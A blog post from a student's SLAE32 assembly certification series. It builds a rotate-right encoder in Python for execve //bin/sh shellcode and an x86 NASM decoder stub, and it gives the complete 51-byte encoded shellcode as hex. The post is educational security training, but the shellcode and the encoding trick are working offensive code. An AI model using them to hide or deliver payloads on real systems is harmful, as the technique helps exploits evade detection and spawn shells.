Skip to main content

SLAE32 - Assignment 4

This is a continuation of a seven (7) part series for the SLAE32 Certification challenge. You can read the first three (3) parts here:

Part 1 - Assignment 1

Part 2 - Assignment 2

Part 3 - Assignment 3

The requirements for this assignment are as follows:

  1. Create a custom encoding scheme like the "Insertion Encoder" we showed you
  2. PoC with using execve-stack as the shellcode to encode with your schema and execute

The code for this assignment can be found on GitHub here:

https://github.com/blu3gl0w13/SLAE32/tree/master/assignment-4

Supplemental scripts I developed for this course can be found on GitHub here:

https://github.com/blu3gl0w13/SLAE32/tree/master/scripts


Before we get started, let's review the execve-stack.nasm script provided by the SecurityTube Linux Assembly Expert course. This is a standard execve execution of //bin/sh. Nothing too fancy here. We initialize our EAX register, pushes a NULL byte onto the stack, pushes //bin/sh onto the stack in reverse order hs/nib// four (4) bytes at a time, copies the stack pointer into EBX, pushes another NULL byte onto the stack, sets up the *env[] parameter by copying the new stack pointer into EDX, pushes the old stack pointer from EBX back onto the stack and then moves the new stack pointer into ECX. Finally, AL is setup with the EXECVE system call number and the interrupt signal is sent to the processor.

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  http://securitytube.net
; Training: http://securitytube-training.com 
;
;
; Purpose: 

global _start   

section .text

_start:

     ; PUSH the first null dword 
     xor eax, eax
     push eax

     ; PUSH //bin/sh (8 bytes) 

     push 0x68732f2f
     push 0x6e69622f

     mov ebx, esp
  
     push eax
     mov edx, esp

     push ebx
     mov ecx, esp

     mov al, 11
     int 0x80


Before we get into the finer details, I want to cover the encoder.py script and some of the thought process that went into it. While Python is an amazing language, and yes, I'm very partial to scripting in Python, it can't do everything. Where Python fails though, it really succeeds. What I mean by this is that even if something hasn't been implemented yet, building it yourself in Python isn't that difficult most of the time. While Python has most of the bitwise operations, it does not have a bitwise rotate right, or rotate left out of the box. I went searching to see if anyone had built this functionality into Python and stumbled upon this blog: http://www.falatic.com/index.php/108/python-and-bitwise-rotation.

With these functions in hand, I rewrote them a bit to clear up any confusing code for anyone new to Python that might read this blog. I decided to use rotate right two (2) positions to encode the execve-stack shellcode. The full Python script is below and should be relatively easy to follow. Those new to Python might not fully understand the ror() or rol() functions so I'll break them down before getting too far ahead in this blog.


#!/usr/bin/env python

#-----------------------------------------------------------------------------
#
# encoder.py
# by Michael Born (@blu3gl0w13)
# Student-ID: SLAE-744
# September 5, 2016
#
#----------------------------------------------------------------------------


# handle our imports

import sys


#-------------------------------------------------------------------
#
# The following Bitwise rotation functions
# have been translated from the following blog
# http://www.falatic.com/index.php/108/python-and-bitwise-rotation
#-------------------------------------------------------------------

def ror(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated & 0xff) >> rotateAmount % 8) | \
(valueToBeRotated << (8 - (rotateAmount % 8)) & 0xff)



def rol(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated << (rotateAmount % 8)) & 0xff) | \
((valueToBeRotated & 0xff) >> (8 - (rotateAmount % 8)))


shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \
\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")



encshellcode = ""
encshellcode2 = ""

for i in bytearray(shellcode):

  x = ror(i, 2)
  #x = i >> 2
  encshellcode += "\\x%02x," % x
  encshellcode2 += "0x%02x," % x


print "\n\nEncoded Shellcode: %s" % encshellcode
print "Encoded Shellcode 2: %s\n\n" % encshellcode2


Before we get to what each of these functions do, let's break down what rotate right and left do. The rotate instruction takes a bit and shifts it to the next position, either right or left. If the bit being shifted is the low bit, it gets shifted to the high bit position. For example, let's see what happens when we rotate 1000 0001 to the right by one. We get 1100 0000. If we rotate 1100 0000 two positions to the left, we wind up with 0000 0011. This differs from the shift instruction in that the rotate instruction wraps the bit around if the rotate operation would cause a bit to rotate off of either end. The shift instruction moves bits to the carry flag if they are shifted off of either end.

For more information, refer to the x86_64 bit Intel Developer's Guide:
http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf

If we look at the two functions below and step through them, we can see that they do in fact work very well. Since I'm using the rotate right function, let's step through it and perform some math.

we will call rotate right function as follows:

valueToBeRotated = 1100 0011 (0xC3)
rotateAmount = 2

We start with our valueToBeRotated & 0xff calculation:

1100 0011 & 1111 1111 --> 1100 0011

Because of the order of operatoin, we calculate the modulus operation next:

2 % 8 = 2

So, when we put it together, we get the following:

1100 0011 >> 2 --> 0011 0000

We then handle the right side of the bitwise OR ( | ), and more specifically, we perform the modulus operation, then the subtraction, followed by the left shift, and then the bitwise AND operation. This will yield the right value of the bitwise OR which will be the final operation to yield our final return value. If everything works out well, we should have successfully rotated our initial value. Buckle up, here we go!

(1100 0011 << (8 - (2 % 8)) & 0xff) (1100 0011 << (8 - 2) & 0xff) (1100 0011 << 6 & 0xff) (1100 0000 & 1111 1111) 1100 0000 Ok, now all that is left is the final bitwise OR operation. Remember this is an inclusive OR.

0011 0000 | 1100 0000

1111 0000

This is where we do our happy dance! If we verify a rotate right two (2) positions starting with 1100 0011, we do in fact get 1111 0000. It appears this function works as intended. It's always a good idea to double check.


def ror(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated & 0xff) >> rotateAmount % 8) | \
(valueToBeRotated << (8 - (rotateAmount % 8)) & 0xff)



def rol(valueToBeRotated, rotateAmount):

  return ((valueToBeRotated << (rotateAmount % 8)) & 0xff) | \
((valueToBeRotated & 0xff) >> (8 - (rotateAmount % 8)))


Have we had enough math yet? Never! I know what you're thinking. Hey, why not build the encoder in Assembly? Good question. I believe it was a slight oversight on my part as this would have been much easier to build in assembly. Ah well. Below is the decoder-execve.nasm program which decodes our encoded shellcode. We employ the JMP-CALL-POP technique for ease of accessing the address of our encoded shellcode. We store the address to the encoded shellcode in ESI. We initialize our ECX register and then store the length of our shellcode into the CL register. Next, we'll initialize the EDX register to prepare using it for our temporary location for storing one byte from the encoded shellcode.

Our decode: block will copy a byte from the address in ESI into DL, remember ESI holds the address to our encoded shellcode. Since we encoded with a rotate right, we need to perform a rotate left in order to properly decode this byte. We also have to use the same value for our rotate left, in this case two (2). We then copy our byte back over the same location pointed to by ESI and then increase ESI by one (1). We loop through the decode: block until our ECX register is zero (0). This indicates we've reached the end of our shellcode and it should be fully decoded. The next thing to do is to JMP SHORT to our now decoded shellcode.


;-------------------------------
; decoder-execve.nasm
; by Michael Born (@blu3gl0w13)
; September 5, 2016
; Student ID: SLAE-744
;-------------------------------

global _start

section .text


_start:

 ; JMP CALL POP
 ; to get address of our
 ; encoded shellcode

     jmp shellcode


decoder:
     pop esi
     xor ecx, ecx
     mov cl, shellLen
     xor edx, edx 


decode:
     mov dl, byte [esi]
     rol dl, 0x2
     mov byte [esi], dl
     inc esi
     loop decode
     jmp short encShellcode
 
  
shellcode:

     call decoder
     encShellcode: db  0x4c,0x30,0x14,0x1a,0xcb,0xcb,0xdc,0x1a,0x1a,0xcb,0x98,0x5a,\ 
                       0x9b,0x62,0xf8,0x14,0x62,0xb8,0xd4,0x62,0x78,0x2c,0xc2,0x73,\
                       0x20
     shellLen: equ $-encShellcode


Here's the decoder-execve.nasm shellcode which is actually nice and short.


"\xeb\x13\x5e\x31\xc9\xb1\x19\x31\xd2\x8a\x16\xc0\xc2"
"\x02\x88\x16\x46\xe2\xf6\xeb\x05\xe8\xe8\xff\xff\xff"
"\x4c\x30\x14\x1a\xcb\xcb\xdc\x1a\x1a\xcb\x98\x5a\x9b"
"\x62\xf8\x14\x62\xb8\xd4\x62\x78\x2c\xc2\x73\x20"


When we run the shellcode, we see it does in fact work. As an added bonus, it's incredibly small at only fifty-one (51) bytes.





Next Part 5 - Assignment 5

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-744

Comments

Popular posts from this blog

SLAE/SLAE64 Course Review

After recently finishing both the SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html) and SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.

  If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through Pentes…

SLAE64 - Assignment 1

Following completion of the SLAE32 course (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html), I decided to take advantage of the Pentester Academy account we have at work to continue the training with SLAE64 (http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html). So, we'll delve into each assignment like we did before and because it's part of the certification challenge.

Assignment 1 requirements are as follows:

Create a Shell_Bind_TCP shellcodeBinds to a portNeeds a "Passcode"If Passcode is correct then Execs ShellRemove 0x00 from the Bind TCP Shellcode discussed

PWK and the OSCP Review

Back in 2014 I started down the Pentesting With Kali (PWK) course about a month after passing the CISSP exam, for which I self studied for about 4 months. What can I say, I was a glutton for punishment but it was well worth it. I started off with 90 days, but due to a crazy work schedule, wound up extending it another 30 for a total of 120 days of lab access. I'm not as young as I would like to think I am and have other important responsibilities as Dad and Husband which I consider "Priority 1". So, my time to study, perform the homework assignments, go through the modules, videos, and lab work were limited to 2 hours in the morning before work (typically 5am until 7am), and then again for a few hours after everyone was asleep in the house (typically 9pm until 11pm or Midnight). Weekends I could usually spend up to 6 hours on Saturdays and Sundays studying which helped tremendously.

Other people have already done a great job at reviewing the PWK course and the OSCP chall…